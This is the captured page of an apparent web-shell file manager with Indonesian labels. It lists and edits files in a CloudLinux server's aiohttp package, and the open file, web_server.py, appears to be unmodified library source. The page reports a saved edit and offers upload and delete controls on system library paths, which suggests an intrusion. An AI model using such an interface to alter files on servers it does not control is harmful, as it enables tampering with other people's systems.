PATH: //opt/cloudlinux/venv/lib/python3.11/site-packages/aiohttp
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📁 .hash/
X
📄 __init__.py
↓
X
📁 __pycache__/
X
📄 _cparser.pxd
↓
X
📄 _find_header.pxd
↓
X
📄 _headers.pxi
↓
X
📄 _helpers.cpython-311-x86_64-linux-gnu.so
↓
X
📄 _helpers.pyi
↓
X
📄 _helpers.pyx
↓
X
📄 _http_parser.cpython-311-x86_64-linux-gnu.so
↓
X
📄 _http_parser.pyx
↓
X
📄 _http_writer.cpython-311-x86_64-linux-gnu.so
↓
X
📄 _http_writer.pyx
↓
X
📄 _websocket.cpython-311-x86_64-linux-gnu.so
↓
X
📄 _websocket.pyx
↓
X
📄 abc.py
↓
X
📄 base_protocol.py
↓
X
📄 client.py
↓
X
📄 client_exceptions.py
↓
X
📄 client_proto.py
↓
X
📄 client_reqrep.py
↓
X
📄 client_ws.py
↓
X
📄 compression_utils.py
↓
X
📄 connector.py
↓
X
📄 cookiejar.py
↓
X
📄 formdata.py
↓
X
📄 hdrs.py
↓
X
📄 helpers.py
↓
X
📄 http.py
↓
X
📄 http_exceptions.py
↓
X
📄 http_parser.py
↓
X
📄 http_websocket.py
↓
X
📄 http_writer.py
↓
X
📄 locks.py
↓
X
📄 log.py
↓
X
📄 multipart.py
↓
X
📄 payload.py
↓
X
📄 payload_streamer.py
↓
X
📄 py.typed
↓
X
📄 pytest_plugin.py
↓
X
📄 resolver.py
↓
X
📄 streams.py
↓
X
📄 tcp_helpers.py
↓
X
📄 test_utils.py
↓
X
📄 tracing.py
↓
X
📄 typedefs.py
↓
X
📄 web.py
↓
X
📄 web_app.py
↓
X
📄 web_exceptions.py
↓
X
📄 web_fileresponse.py
↓
X
📄 web_log.py
↓
X
📄 web_middlewares.py
↓
X
📄 web_protocol.py
↓
X
📄 web_request.py
↓
X
📄 web_response.py
↓
X
📄 web_routedef.py
↓
X
📄 web_runner.py
↓
X
📄 web_server.py
↓
X
📄 web_urldispatcher.py
↓
X
📄 web_ws.py
↓
X
📄 worker.py
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: web_server.py
"""Low level HTTP server.""" import asyncio from typing import Any, Awaitable, Callable, Dict, List, Optional # noqa from .abc import AbstractStreamWriter from .helpers import get_running_loop from .http_parser import RawRequestMessage from .streams import StreamReader from .web_protocol import RequestHandler, _RequestFactory, _RequestHandler from .web_request import BaseRequest __all__ = ("Server",) class Server: def __init__( self, handler: _RequestHandler, *, request_factory: Optional[_RequestFactory] = None, handler_cancellation: bool = False, loop: Optional[asyncio.AbstractEventLoop] = None, **kwargs: Any ) -> None: self._loop = get_running_loop(loop) self._connections: Dict[RequestHandler, asyncio.Transport] = {} self._kwargs = kwargs self.requests_count = 0 self.request_handler = handler self.request_factory = request_factory or self._make_request self.handler_cancellation = handler_cancellation @property def connections(self) -> List[RequestHandler]: return list(self._connections.keys()) def connection_made( self, handler: RequestHandler, transport: asyncio.Transport ) -> None: self._connections[handler] = transport def connection_lost( self, handler: RequestHandler, exc: Optional[BaseException] = None ) -> None: if handler in self._connections: del self._connections[handler] def _make_request( self, message: RawRequestMessage, payload: StreamReader, protocol: RequestHandler, writer: AbstractStreamWriter, task: "asyncio.Task[None]", ) -> BaseRequest: return BaseRequest(message, payload, protocol, writer, task, self._loop) def pre_shutdown(self) -> None: for conn in self._connections: conn.close() async def shutdown(self, timeout: Optional[float] = None) -> None: coros = (conn.shutdown(timeout) for conn in self._connections) await asyncio.gather(*coros) self._connections.clear() def __call__(self) -> RequestHandler: try: return RequestHandler(self, loop=self._loop, **self._kwargs) except TypeError: # Failsafe creation: remove all custom handler_args kwargs = { k: v for k, v in self._kwargs.items() if k in ["debug", "access_log_class"] } return RequestHandler(self, loop=self._loop, **kwargs)
SIMPAN PERUBAHAN